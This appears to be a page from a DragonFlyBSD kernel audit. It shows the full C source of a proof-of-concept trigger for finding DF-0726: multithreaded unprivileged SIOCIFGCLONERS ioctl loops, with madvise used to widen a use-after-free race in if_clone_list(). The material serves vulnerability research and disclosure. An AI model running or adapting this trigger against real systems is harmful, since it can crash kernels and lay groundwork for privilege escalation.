DragonFlyBSD Kernel Audit
DF-0726 / reader2.c
← back to finding ↓ download raw
/*
 * DF-0726 trigger v2 — widened race.
 *
 * Same unprivileged SIOCIFGCLONERS reader, but:
 *  - madvise(MADV_DONTNEED) on the buffer before each ioctl so each copyout
 *    in if_clone_list() takes a page fault, widening the in-kernel window
 *    during which the reader holds a pointer into the if_cloners list while
 *    a writer (if_clone_detach + module unload) can pull the page out from
 *    under it.
 *  - Many threads, each in its own ioctl tight loop.
 *
 * Build:  cc -O2 -pthread -o reader2 reader2.c
 * Run:    ./reader2 [nthreads]   (default 4)
 */

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <net/if.h>
#include <net/if_clone.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#define NBUF (IFNAMSIZ * 256)
#define PAGESZ 4096

static volatile unsigned long iters;
static volatile int stop;

static void *
race(void *arg)
{
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { perror("socket"); return NULL; }
	char *buf = mmap(NULL, NBUF, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
	    -1, 0);
	if (buf == MAP_FAILED) { perror("mmap"); return NULL; }
	struct if_clonereq ifcr;
	memset(&ifcr, 0, sizeof(ifcr));
	ifcr.ifcr_count = 256;
	ifcr.ifcr_buffer = buf;
	unsigned long local = 0;
	while (!stop) {
		/* evict the buffer pages so the kernel's copyout must fault them in */
		madvise(buf, NBUF, MADV_DONTNEED);
		ifcr.ifcr_total = 0;
		int rc = ioctl(s, SIOCIFGCLONERS, &ifcr);
		local++;
		if (rc < 0 && (errno == EFAULT || errno == ENOMEM))
			fprintf(stderr, "[t%ld] suspicious errno=%d (iter %lu)\n",
			    (long)arg, errno, local);
	}
	__sync_fetch_and_add(&iters, local);
	close(s);
	munmap(buf, NBUF);
	return NULL;
}

int
main(int argc, char **argv)
{
	int n = (argc > 1) ? atoi(argv[1]) : 4;
	if (n < 1) n = 1;
	if (n > 16) n = 16;
	pthread_t th[16];
	for (int i = 0; i < n; i++)
		pthread_create(&th[i], NULL, race, (void *)(long)i);
	sleep(60);   /* run for 60s, then exit; writer is external */
	stop = 1;
	for (int i = 0; i < n; i++)
		pthread_join(th[i], NULL);
	fprintf(stderr, "[reader2] %lu total iters across %d threads\n", iters, n);
	return 0;
}